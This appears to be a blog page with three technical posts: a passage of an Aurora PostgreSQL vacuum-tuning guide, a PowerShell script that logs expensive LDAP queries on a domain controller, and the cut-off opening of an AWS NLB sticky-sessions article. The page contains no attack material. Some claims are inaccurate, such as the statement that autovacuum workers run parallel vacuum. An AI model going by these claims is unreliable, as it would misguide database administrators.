FROM memory_calculations
WHERE total_size_bytes > 1048576  -- Only tables > 1MB
ORDER BY total_size_bytes DESC
LIMIT 25;

-- Summary recommendations
SELECT
    '=== RECOMMENDATIONS ===' as section,
    '' as recommendation;

SELECT
    'Based on largest tables:' as section,
    'Suggested maintenance_work_mem: ' || 
    CASE
        WHEN MAX(recommended_memory_mb) < 256 THEN '256 MB (small DB)'
        WHEN MAX(recommended_memory_mb) < 1024 THEN CEIL(MAX(recommended_memory_mb) / 256) * 256 || ' MB'
        WHEN MAX(recommended_memory_mb) < 4096 THEN CEIL(MAX(recommended_memory_mb) / 512) * 512 || ' MB'
        ELSE LEAST(8192, CEIL(MAX(recommended_memory_mb) / 1024) * 1024) || ' MB (capped at 8GB)'
    END as recommendation
FROM memory_calculations;

SELECT
    'For autovacuum workers:' as section,
    'Suggested autovacuum_work_mem: ' || 
    CASE
        WHEN MAX(recommended_memory_mb) < 512 THEN '256 MB'
        WHEN MAX(recommended_memory_mb) < 2048 THEN '512 MB to 1 GB'
        ELSE '1 GB to 2 GB per worker'
    END || 
    ' (remember: allocated per worker!)' as recommendation
FROM memory_calculations;

SELECT
    'Tables requiring attention:' as section,
    COUNT(*)::text || ' tables need more than 1GB for optimal vacuum' as recommendation
FROM memory_calculations
WHERE recommended_memory_mb > 1024;

SELECT
    'Memory efficiency:' as section,
    CASE
        WHEN COUNT(*) = 0 THEN 'All tables can vacuum efficiently with current settings'
        ELSE COUNT(*)::text || ' tables will require multiple index scans with current settings'
    END as recommendation
FROM memory_calculations
WHERE estimated_index_scans > 1;

4.8 Using the Estimation Script

Run the script against your database to see current configuration and requirements
Review the output focusing on:
- Tables with estimated_index_scans > 1 (need more memory)
- recommended_memory_mb for your largest tables
- Tables marked with “Warn: ” (require > 1GB memory)
Apply recommendations using the summary output
Monitor vacuum performance after changes

Example output interpretation:

tablename              | recommended_memory_mb | estimated_index_scans
-----------------------|----------------------|----------------------
user_activities        | 1843.20              | 2
orders                 | 512.45               | 1
products               | 128.30               | 1

This indicates user_activities needs ~1.8GB for single-pass vacuum. If maintenance_work_mem = 1GB, vacuum will scan indexes twice, which is inefficient.

Pro tip: For tables that require excessive memory (>4GB), consider using pg_repack instead of relying solely on vacuum, or vacuum during maintenance windows with temporarily increased maintenance_work_mem.

5.0 Parallel Vacuuming

Starting with PostgreSQL 13, vacuum operations can leverage multiple CPU cores through parallel processing, dramatically reducing vacuum time for large tables with multiple indexes. This feature is particularly valuable for Aurora PostgreSQL environments where large tables can take hours to vacuum serially.

5.1 How Parallel Vacuum Works

Parallel vacuum speeds up the index cleanup phase—often the most time-consuming part of the vacuum process. When enabled:

The leader process scans the table heap and collects dead tuple identifiers
Multiple parallel workers simultaneously clean indexes
The leader process removes dead tuples from the heap
The cycle repeats until the table is fully vacuumed

Key point: Only the index cleanup phase is parallelized. Table scanning and heap cleanup remain single-threaded, but since index cleanup often dominates vacuum time (especially for tables with many indexes), the speedup can be substantial.

5.2 Enabling Parallel Vacuum

PostgreSQL automatically uses parallel vacuum when:

The table has at least 2 indexes
min_parallel_index_scan_size threshold is met (default 512KB per index)
Sufficient parallel workers are available

Configuration Parameters

-- Check current settings
SHOW max_parallel_maintenance_workers;  -- Default: 2
SHOW min_parallel_index_scan_size;       -- Default: 512kB
SHOW max_parallel_workers;                -- Overall parallel worker limit
-- Adjust for better parallelism (requires reload)
ALTER SYSTEM SET max_parallel_maintenance_workers = 4;
ALTER SYSTEM SET min_parallel_index_scan_size = '256kB';
SELECT pg_reload_conf();

Parameter descriptions:

max_parallel_maintenance_workers: Maximum workers for maintenance operations (VACUUM, CREATE INDEX). Limited by max_parallel_workers
min_parallel_index_scan_size: Minimum index size to consider for parallel processing
max_parallel_workers: System-wide limit for all parallel operations

5.3 Per-Table Parallel Configuration

For specific large tables, you can control parallel vacuum behavior:

-- Enable parallel vacuum with specific worker count
ALTER TABLE user_activities SET (parallel_workers = 4);
-- Disable parallel vacuum for a specific table
ALTER TABLE sensitive_table SET (parallel_workers = 0);
-- Check table-level settings
SELECT 
    schemaname,
    tablename,
    reloptions
FROM pg_tables
WHERE tablename = 'user_activities';

5.6 Manual Vacuum with Parallel Workers

When running manual vacuum, you can specify the degree of parallelism:

-- Vacuum with explicit parallel workers
VACUUM (PARALLEL 4, VERBOSE) user_activities;
-- Vacuum with parallel disabled
VACUUM (PARALLEL 0, VERBOSE) user_activities;
-- Let PostgreSQL decide (based on table and system settings)
VACUUM (VERBOSE) user_activities;

5.7 Monitoring Parallel Vacuum

Check if vacuum is using parallel workers:

-- View active vacuum operations and their parallel workers
SELECT 
    pid,
    datname,
    usename,
    query_start,
    state,
    wait_event_type,
    wait_event,
    query
FROM pg_stat_activity
WHERE query LIKE '%VACUUM%'
   OR backend_type LIKE '%parallel worker%'
ORDER BY query_start;

Watch for “parallel worker” processes that accompany the main vacuum process.

5.8 Performance Testing

Compare vacuum performance with and without parallelism:

-- Create test table with multiple indexes
CREATE TABLE vacuum_test AS 
SELECT * FROM user_activities LIMIT 1000000;
CREATE INDEX idx1 ON vacuum_test(user_id);
CREATE INDEX idx2 ON vacuum_test(activity_type);
CREATE INDEX idx3 ON vacuum_test(created_at);
CREATE INDEX idx4 ON vacuum_test(session_id);
-- Generate some dead tuples
UPDATE vacuum_test SET activity_type = 'modified' WHERE random() < 0.2;
-- Test serial vacuum
\timing on
VACUUM (PARALLEL 0, VERBOSE) vacuum_test;
-- Note the time
-- Test parallel vacuum
VACUUM (PARALLEL 4, VERBOSE) vacuum_test;
-- Note the time and compare

5.9 Aurora-Specific Considerations

When using parallel vacuum with Aurora PostgreSQL:

Instance sizing: Ensure your instance has sufficient vCPUs for parallel operations

db.r5.large (2 vCPUs): max_parallel_maintenance_workers = 2
db.r5.xlarge (4 vCPUs): max_parallel_maintenance_workers = 2-3
db.r5.2xlarge (8 vCPUs): max_parallel_maintenance_workers = 4
db.r5.4xlarge+ (16+ vCPUs): max_parallel_maintenance_workers = 4-6

Memory considerations: Each parallel worker requires its own memory allocation from maintenance_work_mem (or autovacuum_work_mem for autovacuum). With 4 workers and maintenance_work_mem = 2GB, you could use up to 8GB total.

-- Conservative Aurora parallel vacuum configuration
-- For db.r5.2xlarge (8 vCPU, 64GB RAM)
ALTER SYSTEM SET max_parallel_maintenance_workers = 4;
ALTER SYSTEM SET maintenance_work_mem = '1GB';  -- 4GB total with 4 workers
ALTER SYSTEM SET max_worker_processes = 16;     -- Ensure worker pool is sufficient
SELECT pg_reload_conf();

Reader endpoint impact: Parallel vacuum on the writer can increase replication lag to reader endpoints. Monitor ReplicaLag CloudWatch metric during parallel vacuum operations.

5.10 When Parallel Vacuum Helps Most

Parallel vacuum provides the biggest benefit when:

Tables have 4+ indexes – More indexes = more parallelizable work

Indexes are large (>1GB each) – Meets min_parallel_index_scan_size threshold

Sufficient CPU cores available – Won’t compete with application queries

I/O isn’t the bottleneck – Aurora’s storage architecture handles concurrent I/O well

Parallel vacuum helps less when:

Tables have only 1-2 small indexes – Limited parallelizable work

CPU is already saturated – Parallel workers compete with application

During peak traffic hours – Better to run with fewer workers to avoid contention

5.12 Autovacuum and Parallelism

Autovacuum workers can also use parallel processing (PostgreSQL 13+):

-- Enable parallel autovacuum for specific table
ALTER TABLE user_activities SET (
    parallel_workers = 3,
    autovacuum_vacuum_scale_factor = 0.05,
    autovacuum_vacuum_threshold = 5000
);

However, be cautious with parallel autovacuum on production systems:

Each autovacuum worker can spawn additional parallel workers
With autovacuum_max_workers = 3 and parallel_workers = 4, you could have 12 total workers
This can quickly exhaust max_worker_processes and max_connections

Recommendation: Start with parallel_workers = 2 for autovacuum, monitor resource usage, then adjust.

5.13 Practical Example: Optimizing a Large Table

-- Scenario: 100GB table with 6 indexes taking 2 hours to vacuum
-- Step 1: Check current configuration
SHOW max_parallel_maintenance_workers;  -- Returns 2
-- Step 2: Analyze the table
SELECT 
    schemaname,
    tablename,
    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename)) as total_size,
    pg_size_pretty(pg_indexes_size(schemaname||'.'||tablename)) as indexes_size,
    (SELECT count(*) FROM pg_indexes WHERE tablename = 'user_activities') as num_indexes
FROM pg_stat_user_tables
WHERE tablename = 'user_activities';
-- Result: 100GB total, 45GB indexes, 6 indexes
-- Step 3: Enable parallel vacuum
ALTER TABLE user_activities SET (parallel_workers = 4);
-- Step 4: Increase maintenance workers (if needed)
ALTER SYSTEM SET max_parallel_maintenance_workers = 4;
SELECT pg_reload_conf();
-- Step 5: Run vacuum with timing
\timing on
VACUUM (VERBOSE) user_activities;
-- Expected result: Vacuum time reduced from 2 hours to 45-60 minutes

5.14 Troubleshooting Parallel Vacuum

Problem: Vacuum not using parallel workers

-- Check if indexes meet size threshold
SELECT 
    schemaname,
    tablename,
    indexname,
    pg_size_pretty(pg_relation_size(indexrelid)) as index_size
FROM pg_stat_user_indexes
WHERE tablename = 'user_activities'
ORDER BY pg_relation_size(indexrelid) DESC;
-- If indexes < 512KB, lower the threshold
ALTER SYSTEM SET min_parallel_index_scan_size = '128kB';
SELECT pg_reload_conf();

Problem: Running out of worker processes

-- Check worker process limits
SHOW max_worker_processes;  -- Total worker pool
SHOW max_parallel_workers;  -- Max parallel workers allowed
-- Increase if needed
ALTER SYSTEM SET max_worker_processes = 16;
ALTER SYSTEM SET max_parallel_workers = 8;
-- Requires restart for max_worker_processes

Problem: High memory usage during parallel vacuum

-- Reduce per-worker memory allocation
SET maintenance_work_mem = '512MB';  -- Each worker gets this amount
VACUUM (PARALLEL 4) user_activities;  -- 2GB total

5.15 Best Practices For Parallelisation

Baseline first: Measure vacuum time before enabling parallel processing
Match CPU availability: Set max_parallel_maintenance_workers based on vCPUs and workload
Consider memory: maintenance_work_mem × parallel_workers = total memory usage
Start conservative: Begin with 2-3 workers, increase based on results
Monitor during peak: Watch CPU and memory metrics when parallel vacuum runs
Test index threshold: Lower min_parallel_index_scan_size if indexes are smaller
Schedule strategically: Use parallel vacuum during maintenance windows for predictable performance
Aurora readers: Monitor replication lag impact on read replicas

Parallel vacuum is a powerful tool for managing large tables in Aurora PostgreSQL, but it requires careful configuration to balance vacuum speed against resource consumption. When properly tuned, it can reduce vacuum time by 50-70% for index-heavy tables.

6.0 Optimizing Aurora PostgreSQL Vacuums with TOAST Table Parameters

What is TOAST?

TOAST (The Oversized-Attribute Storage Technique) is PostgreSQL’s mechanism for handling data that exceeds the standard 8KB page size limit. When you store large text fields, JSON documents, bytea columns, or other substantial data types, PostgreSQL automatically moves this data out of the main table into a separate TOAST table. This keeps the main table pages compact and efficient for scanning, while the oversized data is stored separately and retrieved only when needed.

Every table with potentially large columns has an associated TOAST table (named pg_toast.pg_toast_<oid>) that operates behind the scenes. While this separation improves query performance on the main table, TOAST tables can accumulate dead tuples from updates and deletes just like regular tables, requiring their own vacuum maintenance.

6.1 Understanding TOAST Autovacuum Parameters

TOAST tables can be tuned independently from their parent tables using specific parameters. Here are the key options and their recommended values:

`toast.autovacuum_vacuum_cost_delay`

Default: Inherits from autovacuum_vacuum_cost_delay (typically 2ms in Aurora)
Recommended: 0 for high-throughput systems
Purpose: Controls the delay between vacuum operations to throttle I/O impact
Effect: Setting to 0 removes throttling, allowing vacuums to complete faster at the cost of higher instantaneous I/O

ALTER TABLE your_large_table SET (toast.autovacuum_vacuum_cost_delay = 0);

`toast.autovacuum_vacuum_threshold`

Default: 50 tuples
Recommended: 1000-5000 for large, frequently updated tables
Purpose: Minimum number of dead tuples before triggering an autovacuum
Effect: Higher values reduce vacuum frequency but may allow more bloat

ALTER TABLE your_large_table SET (toast.autovacuum_vacuum_threshold = 2000);

`toast.autovacuum_vacuum_scale_factor`

Default: 0.2 (20% of table size)
Recommended: 0.05-0.1 for very large tables, 0.2-0.3 for smaller tables
Purpose: Percentage of table size that, when combined with threshold, triggers autovacuum
Effect: Lower values mean more frequent vacuums, preventing excessive bloat

ALTER TABLE your_large_table SET (toast.autovacuum_vacuum_scale_factor = 0.1);

`toast.autovacuum_vacuum_cost_limit`

Default: Inherits from autovacuum_vacuum_cost_limit (typically 200 in Aurora)
Recommended: 2000-4000 for aggressive cleanup
Purpose: Maximum “cost” budget before vacuum process sleeps
Effect: Higher values allow more work per cycle before throttling kicks in

ALTER TABLE your_large_table SET (toast.autovacuum_vacuum_cost_limit = 3000);

6.2 Practical Example

For a large table with frequent updates to text or JSON columns in Aurora PostgreSQL:

-- Optimize TOAST table for aggressive, fast vacuuming
ALTER TABLE user_profiles SET (
    toast.autovacuum_vacuum_cost_delay = 0,
    toast.autovacuum_vacuum_threshold = 2000,
    toast.autovacuum_vacuum_scale_factor = 0.05,
    toast.autovacuum_vacuum_cost_limit = 3000
);

This configuration ensures TOAST tables are vacuumed frequently and quickly, preventing bloat from degrading performance while leveraging Aurora’s optimized storage layer. Monitor your vacuum activity using pg_stat_user_tables and adjust these parameters based on your workload’s specific characteristics.

7.0 “No Regrets” Optimizations for Mission-Critical Large Tables

When you have mission-critical large tables and sufficient infrastructure to scale memory and CPU, these optimizations will deliver immediate performance improvements without significant trade-offs:

7.1 Increase Maintenance Memory Allocation

Set generous memory limits to ensure vacuum operations complete in a single index scan pass:

-- For large instances with adequate RAM
ALTER SYSTEM SET maintenance_work_mem = '4GB';
ALTER SYSTEM SET autovacuum_work_mem = '2GB';
SELECT pg_reload_conf();

Why this works: Each dead tuple requires 6 bytes in memory. Insufficient memory forces multiple expensive index scan passes. With adequate memory, vacuum completes faster and more efficiently.

Impact: Reduces vacuum time by 40-60% for tables requiring multiple index scans.

7.2 Enable Aggressive Parallel Vacuum

Leverage multiple CPU cores for dramatically faster vacuum operations:

-- System-wide settings (adjust based on available vCPUs)
ALTER SYSTEM SET max_parallel_maintenance_workers = 4;
ALTER SYSTEM SET min_parallel_index_scan_size = '256kB';
SELECT pg_reload_conf();
-- Per-table optimization for mission-critical tables
ALTER TABLE your_critical_table SET (parallel_workers = 4);

Why this works: Parallel vacuum distributes index cleanup across multiple workers. For tables with 4+ indexes, this parallelization provides substantial speedups.

Impact: 50-70% reduction in vacuum time for index-heavy tables.

7.3 Remove Autovacuum Throttling

Eliminate I/O throttling delays to let vacuum run at full speed:

-- Apply to critical tables
ALTER TABLE your_critical_table SET (
    autovacuum_vacuum_cost_delay = 0,
    autovacuum_vacuum_cost_limit = 10000
);

Why this works: Default throttling was designed for resource-constrained systems. With sufficient infrastructure, removing these limits allows vacuum to complete faster without impacting performance.

Impact: 30-50% faster vacuum completion with no downside on properly provisioned systems.

7.4 Tune TOAST Table Parameters

Optimize vacuum for oversized attribute storage:

ALTER TABLE your_critical_table SET (
    toast.autovacuum_vacuum_cost_delay = 0,
    toast.autovacuum_vacuum_threshold = 2000,
    toast.autovacuum_vacuum_scale_factor = 0.05,
    toast.autovacuum_vacuum_cost_limit = 3000
);

Why this works: TOAST tables accumulate dead tuples independently and are often overlooked. Aggressive TOAST vacuuming prevents hidden bloat in large text/JSON columns.

Impact: Eliminates TOAST bloat, which can represent 20-40% of total table bloat.

7.5 Lower Autovacuum Thresholds

Trigger vacuum earlier to prevent bloat accumulation:

ALTER TABLE your_critical_table SET (
    autovacuum_vacuum_scale_factor = 0.05,  -- Down from default 0.2
    autovacuum_vacuum_threshold = 5000
);

Why this works: More frequent, smaller vacuums are faster and less disruptive than infrequent, massive cleanup operations. This prevents bloat before it impacts query performance.

Impact: Maintains bloat under 10% consistently, preventing query degradation.

7.6 Install and Configure pg_repack

Have pg_repack ready for zero-downtime space reclamation:

CREATE EXTENSION pg_repack;

Why this works: When bloat exceeds 30-40%, pg_repack reclaims space without the long exclusive locks required by VACUUM FULL. Critical tables remain online throughout the operation.

Impact: Space reclamation during business hours without downtime.

7.7 Complete Configuration Template

For a mission-critical large table on a properly sized Aurora instance:

-- Main table optimization
ALTER TABLE your_critical_table SET (
    autovacuum_vacuum_scale_factor = 0.05,
    autovacuum_vacuum_threshold = 5000,
    autovacuum_vacuum_cost_delay = 0,
    autovacuum_vacuum_cost_limit = 10000,
    parallel_workers = 4,
    toast.autovacuum_vacuum_cost_delay = 0,
    toast.autovacuum_vacuum_threshold = 2000,
    toast.autovacuum_vacuum_scale_factor = 0.05,
    toast.autovacuum_vacuum_cost_limit = 3000
);
-- System-wide settings (for db.r5.2xlarge or larger)
ALTER SYSTEM SET maintenance_work_mem = '4GB';
ALTER SYSTEM SET autovacuum_work_mem = '2GB';
ALTER SYSTEM SET max_parallel_maintenance_workers = 4;
ALTER SYSTEM SET min_parallel_index_scan_size = '256kB';
SELECT pg_reload_conf();

These optimizations are “no regrets” because they:

Require no application changes
Leverage existing infrastructure capacity
Provide immediate, measurable improvements
Have minimal risk when resources are available
Prevent problems rather than reacting to them

8.0 Conclusion

Effective vacuum management is not a one-time configuration task—it’s an ongoing optimization process that scales with your database. As your PostgreSQL Aurora tables grow, the default vacuum settings that worked initially can become a significant performance bottleneck, leading to bloat, degraded query performance, and wasted storage.

The strategies covered in this guide provide a comprehensive toolkit for managing vacuum at scale:

Monitoring queries help you identify bloat before it impacts performance
Table-level autovacuum tuning allows you to customize behavior for high-churn tables
Memory configuration (maintenance_work_mem and autovacuum_work_mem) ensures vacuum operations complete efficiently without multiple index scans
Parallel vacuuming leverages multiple CPU cores to dramatically reduce vacuum time for large, index-heavy tables
pg_repack offers a near-zero-downtime solution for reclaiming space from heavily bloated tables
Automated maintenance workflows enable proactive vacuum management during off-peak hours

The key is to be proactive rather than reactive. Regularly run the monitoring queries and memory estimation scripts provided in this article. Watch for warning signs like increasing dead tuple counts, growing bloat percentages, and tables requiring multiple index scan passes. When you spot these indicators, apply targeted tuning before they escalate into production issues.

For tables with multiple indexes that take hours to vacuum, parallel vacuuming offers a game-changing performance boost—often reducing vacuum time by 50-70% by distributing index cleanup across multiple CPU cores. However, this power comes with resource trade-offs: each parallel worker consumes its own memory allocation and CPU cycles. The key is finding the sweet spot for your Aurora instance size, testing with 2-3 workers initially and scaling up based on available vCPUs and observed performance gains. This is especially valuable during maintenance windows when you need to vacuum large tables quickly without blocking operations for extended periods.

Remember that vacuum optimization is a balance: too aggressive and you risk impacting production workload; too conservative and bloat accumulates faster than it can be cleaned. Start with the conservative recommendations provided, monitor the results, and iterate based on your specific workload patterns and Aurora instance capabilities.

With the right monitoring, configuration, and tooling in place, you can maintain healthy tables even as they scale to hundreds of gigabytes—ensuring consistent query performance and optimal storage utilization for your PostgreSQL Aurora database.

Windows Domain Controller: Monitor and Log LDAP operations/queries use of resources

The script below monitors LDAP operations on a Domain Controller and logs detailed information about queries that exceed specified thresholds for execution time, CPU usage, or results returned. It helps identify problematic LDAP queries that may be impacting domain controller performance.

Parameter: ThresholdSeconds
Minimum query duration in seconds to log (default: 5)

Parameter: LogPath
Path where log files will be saved (default: C:\LDAPDiagnostics)

Parameter: MonitorDuration
How long to monitor in minutes (default: continuous)

EXAMPLE
.\Diagnose-LDAPQueries.ps1 -ThresholdSeconds 3 -LogPath “C:\Logs\LDAP”

[CmdletBinding()]
param(
    [int]$ThresholdSeconds = 5,
    [string]$LogPath = "C:\LDAPDiagnostics",
    [int]$MonitorDuration = 0  # 0 = continuous
)

# Requires Administrator privileges
#Requires -RunAsAdministrator

# Create log directory if it doesn't exist
if (-not (Test-Path $LogPath)) {
    New-Item -ItemType Directory -Path $LogPath -Force | Out-Null
}

$logFile = Join-Path $LogPath "LDAP_Diagnostics_$(Get-Date -Format 'yyyyMMdd_HHmmss').log"
$csvFile = Join-Path $LogPath "LDAP_Queries_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"

function Write-Log {
    param([string]$Message, [string]$Level = "INFO")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $logMessage = "[$timestamp] [$Level] $Message"
    Write-Host $logMessage
    Add-Content -Path $logFile -Value $logMessage
}

function Get-LDAPStatistics {
    try {
        # Query NTDS performance counters for LDAP statistics
        $ldapStats = @{
            ActiveThreads = (Get-Counter '\NTDS\LDAP Active Threads' -ErrorAction SilentlyContinue).CounterSamples.CookedValue
            SearchesPerSec = (Get-Counter '\NTDS\LDAP Searches/sec' -ErrorAction SilentlyContinue).CounterSamples.CookedValue
            ClientSessions = (Get-Counter '\NTDS\LDAP Client Sessions' -ErrorAction SilentlyContinue).CounterSamples.CookedValue
            BindTime = (Get-Counter '\NTDS\LDAP Bind Time' -ErrorAction SilentlyContinue).CounterSamples.CookedValue
        }
        return $ldapStats
    }
    catch {
        Write-Log "Error getting LDAP statistics: $_" "ERROR"
        return $null
    }
}

function Parse-LDAPEvent {
    param($Event)
    
    $eventData = @{
        TimeCreated = $Event.TimeCreated
        ClientIP = $null
        ClientPort = $null
        StartingNode = $null
        Filter = $null
        SearchScope = $null
        AttributeSelection = $null
        ServerControls = $null
        VisitedEntries = $null
        ReturnedEntries = $null
        TimeInServer = $null
    }

    # Parse event XML for detailed information
    try {
        $xml = [xml]$Event.ToXml()
        $dataNodes = $xml.Event.EventData.Data
        
        foreach ($node in $dataNodes) {
            switch ($node.Name) {
                "Client" { $eventData.ClientIP = ($node.'#text' -split ':')[0] }
                "StartingNode" { $eventData.StartingNode = $node.'#text' }
                "Filter" { $eventData.Filter = $node.'#text' }
                "SearchScope" { $eventData.SearchScope = $node.'#text' }
                "AttributeSelection" { $eventData.AttributeSelection = $node.'#text' }
                "ServerControls" { $eventData.ServerControls = $node.'#text' }
                "VisitedEntries" { $eventData.VisitedEntries = $node.'#text' }
                "ReturnedEntries" { $eventData.ReturnedEntries = $node.'#text' }
                "TimeInServer" { $eventData.TimeInServer = $node.'#text' }
            }
        }
    }
    catch {
        Write-Log "Error parsing event XML: $_" "WARNING"
    }

    return $eventData
}

Write-Log "=== LDAP Query Diagnostics Started ===" "INFO"
Write-Log "Threshold: $ThresholdSeconds seconds" "INFO"
Write-Log "Log Path: $LogPath" "INFO"
Write-Log "Monitor Duration: $(if($MonitorDuration -eq 0){'Continuous'}else{$MonitorDuration + ' minutes'})" "INFO"

# Enable Field Engineering logging if not already enabled
Write-Log "Checking Field Engineering diagnostic logging settings..." "INFO"
try {
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics"
    $currentValue = Get-ItemProperty -Path $regPath -Name "15 Field Engineering" -ErrorAction SilentlyContinue
    
    if ($currentValue.'15 Field Engineering' -lt 5) {
        Write-Log "Enabling Field Engineering logging (level 5)..." "INFO"
        Set-ItemProperty -Path $regPath -Name "15 Field Engineering" -Value 5
        Write-Log "Field Engineering logging enabled. You may need to restart NTDS service for full effect." "WARNING"
    }
    else {
        Write-Log "Field Engineering logging already enabled at level $($currentValue.'15 Field Engineering')" "INFO"
    }
}
catch {
    Write-Log "Error configuring diagnostic logging: $_" "ERROR"
}

# Create CSV header
$csvHeader = "TimeCreated,ClientIP,StartingNode,Filter,SearchScope,AttributeSelection,VisitedEntries,ReturnedEntries,TimeInServer,ServerControls"
Set-Content -Path $csvFile -Value $csvHeader

Write-Log "Monitoring for expensive LDAP queries (threshold: $ThresholdSeconds seconds)..." "INFO"
Write-Log "Press Ctrl+C to stop monitoring" "INFO"

$startTime = Get-Date
$queriesLogged = 0

try {
    while ($true) {
        # Check if monitoring duration exceeded
        if ($MonitorDuration -gt 0) {
            $elapsed = (Get-Date) - $startTime
            if ($elapsed.TotalMinutes -ge $MonitorDuration) {
                Write-Log "Monitoring duration reached. Stopping." "INFO"
                break
            }
        }

        # Get current LDAP statistics
        $stats = Get-LDAPStatistics
        if ($stats) {
            Write-Verbose "Active Threads: $($stats.ActiveThreads), Searches/sec: $($stats.SearchesPerSec), Client Sessions: $($stats.ClientSessions)"
        }

        # Query Directory Service event log for expensive LDAP queries
        # Event ID 1644 = expensive search operations
        $events = Get-WinEvent -FilterHashtable @{
            LogName = 'Directory Service'
            Id = 1644
            StartTime = (Get-Date).AddSeconds(-10)
        } -ErrorAction SilentlyContinue

        foreach ($event in $events) {
            $eventData = Parse-LDAPEvent -Event $event
            
            # Convert time in server from milliseconds to seconds
            $timeInSeconds = if ($eventData.TimeInServer) { 
                [int]$eventData.TimeInServer / 1000 
            } else { 
                0 
            }

            if ($timeInSeconds -ge $ThresholdSeconds) {
                $queriesLogged++
                
                Write-Log "=== Expensive LDAP Query Detected ===" "WARNING"
                Write-Log "Time: $($eventData.TimeCreated)" "WARNING"
                Write-Log "Client IP: $($eventData.ClientIP)" "WARNING"
                Write-Log "Duration: $timeInSeconds seconds" "WARNING"
                Write-Log "Starting Node: $($eventData.StartingNode)" "WARNING"
                Write-Log "Filter: $($eventData.Filter)" "WARNING"
                Write-Log "Search Scope: $($eventData.SearchScope)" "WARNING"
                Write-Log "Visited Entries: $($eventData.VisitedEntries)" "WARNING"
                Write-Log "Returned Entries: $($eventData.ReturnedEntries)" "WARNING"
                Write-Log "Attributes: $($eventData.AttributeSelection)" "WARNING"
                Write-Log "Server Controls: $($eventData.ServerControls)" "WARNING"
                Write-Log "======================================" "WARNING"

                # Write to CSV
                $csvLine = "$($eventData.TimeCreated),$($eventData.ClientIP),$($eventData.StartingNode),`"$($eventData.Filter)`",$($eventData.SearchScope),`"$($eventData.AttributeSelection)`",$($eventData.VisitedEntries),$($eventData.ReturnedEntries),$($eventData.TimeInServer),`"$($eventData.ServerControls)`""
                Add-Content -Path $csvFile -Value $csvLine
            }
        }

        Start-Sleep -Seconds 5
    }
}
catch {
    Write-Log "Error during monitoring: $_" "ERROR"
}
finally {
    Write-Log "=== LDAP Query Diagnostics Stopped ===" "INFO"
    Write-Log "Total expensive queries logged: $queriesLogged" "INFO"
    Write-Log "Log file: $logFile" "INFO"
    Write-Log "CSV file: $csvFile" "INFO"
}
```

## Usage Examples

### Basic Usage (Continuous Monitoring)

Run with default settings - monitors queries taking 5+ seconds:

```powershell
.\Diagnose-LDAPQueries.ps1
```

### Custom Threshold and Duration

Monitor for 30 minutes, logging queries that take 3+ seconds:

```powershell
.\Diagnose-LDAPQueries.ps1 -ThresholdSeconds 3 -MonitorDuration 30
```

### Custom Log Location

Save logs to a specific directory:

```powershell
.\Diagnose-LDAPQueries.ps1 -LogPath "D:\Logs\LDAP"
```

### Verbose Output

See real-time LDAP statistics while monitoring:

```powershell
.\Diagnose-LDAPQueries.ps1 -Verbose
```

## Requirements

- **Administrator privileges** on the domain controller
- **Windows Server** with Active Directory Domain Services role
- **PowerShell 5.1 or later**

## Understanding the Output

### Log File Example

```
[2025-01-15 14:23:45] [WARNING] === Expensive LDAP Query Detected ===
[2025-01-15 14:23:45] [WARNING] Time: 01/15/2025 14:23:43
[2025-01-15 14:23:45] [WARNING] Client IP: 192.168.1.50
[2025-01-15 14:23:45] [WARNING] Duration: 8.5 seconds
[2025-01-15 14:23:45] [WARNING] Starting Node: DC=contoso,DC=com
[2025-01-15 14:23:45] [WARNING] Filter: (&(objectClass=user)(memberOf=*))
[2025-01-15 14:23:45] [WARNING] Search Scope: 2
[2025-01-15 14:23:45] [WARNING] Visited Entries: 45000
[2025-01-15 14:23:45] [WARNING] Returned Entries: 12000
```

### What to Look For

- **High visited/returned ratio** - Indicates an inefficient filter
- **Subtree searches from root** - Often unnecessarily broad
- **Wildcard filters** - Like `(cn=*)` can be very expensive
- **Unindexed attributes** - Queries on non-indexed attributes visit many entries
- **Repeated queries** - Same client making the same expensive query repeatedly

## Troubleshooting Common Issues

### No Events Appearing

If you're not seeing Event ID 1644, you may need to lower the expensive search threshold in Active Directory:

```powershell
# Lower the threshold to 1000ms (1 second)
Get-ADObject "CN=Query-Policies,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=yourdomain,DC=com" | 
    Set-ADObject -Replace @{lDAPAdminLimits="MaxQueryDuration=1000"}
```

### Script Requires Restart

After enabling Field Engineering logging, you may need to restart the NTDS service:

```powershell
Restart-Service NTDS -Force
```

Best Practices

1. **Run during peak hours** to capture real-world problematic queries
2. **Start with a lower threshold** (2-3 seconds) to catch more queries
3. **Analyze the CSV** in Excel or Power BI for patterns
4. **Correlate with client IPs** to identify problematic applications
5. **Work with application owners** to optimize queries with indexes or better filters

Once you’ve identified expensive queries:

1. **Add indexes** for frequently searched attributes
2. **Optimize LDAP filters** to be more specific
3. **Reduce search scope** where possible
4. **Implement paging** for large result sets
5. **Cache results** on the client side when appropriate

This script has helped me identify numerous performance bottlenecks in production environments. I hope it helps you optimize your Active Directory infrastructure as well!

Deep Dive: AWS NLB Sticky Sessions (stickiness) Setup, Behavior, and Hidden Pitfalls

When you deploy applications behind a Network Load Balancer (NLB) in AWS, you usually expect perfect traffic distribution, fast, fair, and stateless.
But what if your backend holds stateful sessions, like in-memory login sessions, caching, or WebSocket connections and you need a given client to keep hitting the same target every time?

That’s where NLB sticky sessions (also called connection stickiness or source IP affinity) come in. They’re powerful but also misunderstood and misconfiguring them can lead to uneven load, dropped connections, or mysterious client “resets.”

Let’s break down exactly how they work, how to set them up, what to watch for, and how to troubleshoot the tricky edge cases that appear in production.

1. What Are Sticky Sessions on an NLB?

At a high level, sticky sessions ensure that traffic from the same client consistently lands on the same target (EC2 instance, IP, or container) behind your NLB.

Unlike the Application Load Balancer (ALB) — which uses HTTP cookies for stickiness, the NLB operates at Layer 4 (TCP/UDP).
That means it doesn’t look inside your packets. Instead, it bases stickiness on network-level parameters like:

Source IP address
Destination IP and port
Source port (sometimes included in the hash)
Protocol (TCP, UDP, or TLS passthrough)

AWS refers to this as “source IP affinity.”
When enabled, the NLB creates a flow-hash mapping that ties the client to a backend target.
As long as the hash remains the same, the same client gets routed to the same target — even across multiple connections.

2. Enabling Sticky Sessions on an AWS NLB

Stickiness is configured per target group, not at the NLB level.

Step-by-Step via AWS Console

Go to EC2 → Load Balancers → Target Groups
Find the target group your NLB listener uses.
Select the Target Group → Attributes tab
Under Attributes, set:

Stickiness.enabled = true
